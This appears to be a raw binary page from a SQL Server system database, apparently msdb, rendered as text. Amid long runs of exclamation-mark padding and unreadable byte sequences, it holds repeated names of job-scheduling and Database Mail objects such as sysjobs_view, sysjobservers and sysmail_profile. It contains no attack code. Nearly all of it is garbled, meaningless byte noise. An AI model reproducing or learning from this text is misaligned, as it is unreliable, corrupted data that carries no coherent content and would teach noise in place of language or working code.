!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!acAqkCyI+`SbVOvI(k]6iM,2sysjobs_viewdbo6ە
,2sysjobs_viewdbo6Mޅ,2sysjobs_viewdbo6&n,2sysjobs_viewdbo62,2sysjobs_viewdbo628sysjobschedulesdbo6&n	28sysjobschedulesdbo6&n
,sysjobservers6&n.4sysjobserversdbo6>.4sysjobserversdbo6eE.4sysjobserversdbo6L(sysjobsteps6N$,2sysjobs_viewdbo6N$28sysjobschedulesdbo6N$.4sysjobserversdbo6H.4sysjobserversdbo6F.4sysjobserversdbo6-,2sysjobs_viewdbo6-.4sysjobserversdbo6Q.,2sysjobs_viewdbo6Q..4sysjobserversdbo6/.4sysjobserversdbo6>0,2sysjobs_viewdbo6>0.4sysjobserversdbo6b1.4sysjobserversdbo652.4sysjobserversdbo6n3,2sysjobs_viewdbo6ĄX928sysjobschedulesdbo6ĄX9.4sysjobserversdbo6L:28sysjobschedulesdbo6L:.4sysjobserversdbo6o4<28sysjobschedulesdbo6o4<.4sysjobserversdbo6)=0sysjobschedules6)=28sysjobschedulesdbo6)=.4sysjobserversdbo6^?.4sysjobserversdbo6S@.4sysjobserversdbo6A.4sysjobserversdbo6B.4sysjobserversdbo6[E,2sysjobs_viewdbo6F,2sysjobs_viewdbo6I28sysjobschedulesdbo6I.4sysjobserversdbo6J	28sysjobschedulesdbo6J
.4sysjobserversdbo64wK0sysjobschedules68YkL0sysjobschedules68YkL28sysjobschedulesdbo6q}_M.4sysjobserversdbo6GO,2sysjobs_viewdbo6GO	.4sysjobserversdbo6;P,2sysjobs_viewdbo6;P28sysjobschedulesdbo6;P	.4sysjobserversdbo6U0Q,2sysjobs_viewdbo6U0Q0sysjobschedules6U0Q28sysjobschedulesdbo6U0Q.4sysjobserversdbo6VS28sysjobschedulesdbo69U.4sysjobserversdbo6rU.4sysjobserversdbo60X.4sysjobserversdbo6VTY,2sysjobs_viewdbo6VTY.4sysjobserversdbo6:],2sysjobs_viewdbo6s	^,2sysjobs_viewdbo6s	^.4sysjobserversdbo6Qr`,2sysjobs_viewdbo6Qr`(sysjobsteps6Bd.4sysjobserversdbo6sh,2sysjobs_viewdbo6ݜq,2sysjobs_viewdbo6=y,2sysjobs_viewdbo6~,2sysjobs_viewdbo6~.4sysjobserversdbo6|28sysjobschedulesdbo6!Jo,sysjobservers6.,2sysjobs_viewdbo6.,2sysjobs_viewdbo6^1,2sysjobs_viewdbo6 ",2sysjobs_viewdbo6D#,2sysjobs_viewdbochedulesdbo6U0Q.4sysjobserversdbo6U0Q*0sysjobstepsdbo6VS28sysjobschedulesdbo69U.4sysjobserversdbo6rU.4sysjobserversdbo60X.4sysjobserversdbo60X*0sysjobstepsdbo6VTY,2sysjobs_viewdbo6VTY.4sysjobserversdbo6Ȝ[*0sysjobstepsdbo6:],2sysjobs_viewdbo6:]*0sysjobstepsdbo6s	^,2sysjobs_viewdbo6s	^.4sysjobserversdbo6s	^*0sysjobstepsdbo6Qr`,2sysjobs_viewdbo6Qr`(sysjobsteps6Qr`*0sysjobstepsdbo6Bd.4sysjobserversdbo6tOg	*0sysjobstepsdbo6sh,2sysjobs_viewdbo6k4:sysnotificationsdbo6ݜq,2sysjobs_viewdbo6Y&s*sysoperators6nmu4:sysnotificationsdbo6av4:sysnotificationsdbo6=Uw4:sysnotificationsdbo6=y,2sysjobs_viewdbo6#2z4:sysnotificationsdbo6!H&{4:sysnotificationsdbo6~,2sysjobs_viewdbo6~.4sysjobserversdbo6Dj36<sysmail_mailitemsdbo6}^44:sysmail_allitemsdbo6R54:sysmail_allitemsdbo6
G64:sysmail_allitemsdbo6(2;74:sysmail_allitemsdbo6(2;7BHsysmail_logmailevent_spdbo6E;6<sysmail_mailitemsdbo6E;:@sysmail_attachmentsdbo6u}F*0sysmail_logdbo6u}F4:sysmail_allitemsdbo6qG*0sysmail_logdbo6N0sysmail_profile6OBsysmail_principalprofile6P0sysmail_account6+P>sysmail_profileaccount6d(Q@Fsysmail_profileaccountdbo6LR6sysmail_servertype6pS.sysmail_server6T<sysmail_configuration6HU4sysmail_mailitems6ݳV8sysmail_attachments6W(sysmail_log6׶l\28sysmail_profiledbo6`]28sysmail_accountdbo6IT^28sysmail_profiledbo6#I_FLsysmail_verify_profile_spdbo6#I_28sysmail_profiledbo6G=`6<sysmail_mailitemsdbo6G=`FLsysmail_verify_profile_spdbo6G=`8sysmail_unsentitems6G=`28sysmail_profiledbo6G=`28sysmail_profiledbo6|28sysjobschedulesdbo6!Jo,sysjobservers6.,2sysjobs_viewdbo~N
Nrv
P
H
D
x		^<ldZ&XX$*J
@	4,Z		@


|
x
pn<&
(`K	Nd=+6
3ij8z

W#AD52'\`Ci#3+&n0X'_)?K
7C	(Ck
ȃcuoiMb1A.
+\")|bMm<qn ҕ;9{!&m1gw"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P 8xh`!K
Nbi+/j8z
j8z
j8&nj8z
j8&nj8z
j8&nj8z
j8&nj8z
j8&nj8z
j8z
j8	z
j8
z
j8z
